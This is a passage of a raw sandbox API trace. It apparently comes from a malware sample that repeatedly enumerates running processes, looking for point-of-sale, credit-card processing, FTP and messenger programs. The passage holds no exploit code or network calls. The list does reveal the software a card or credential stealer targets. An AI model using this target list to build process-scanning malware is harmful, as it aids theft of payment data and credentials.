lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0280.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0280.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0280.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0280.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0280.940] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0280.942] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0280.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0280.946] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0280.949] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0280.951] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0280.953] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0280.955] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0280.956] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0280.958] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0280.960] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0280.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0280.963] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0281.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0281.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0281.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0281.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0281.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0281.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.040] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0281.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0281.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0281.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0281.047] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0281.049] CloseHandle (hObject=0x344) returned 1 [0281.049] Sleep (dwMilliseconds=0x64) [0281.166] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0281.178] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.287] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0281.303] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0281.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0281.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0281.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0281.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0281.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0281.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0281.361] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0281.363] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0281.365] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0281.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0281.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0281.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0281.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0281.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0281.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0281.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0281.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0281.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0281.447] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0281.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0281.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0281.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 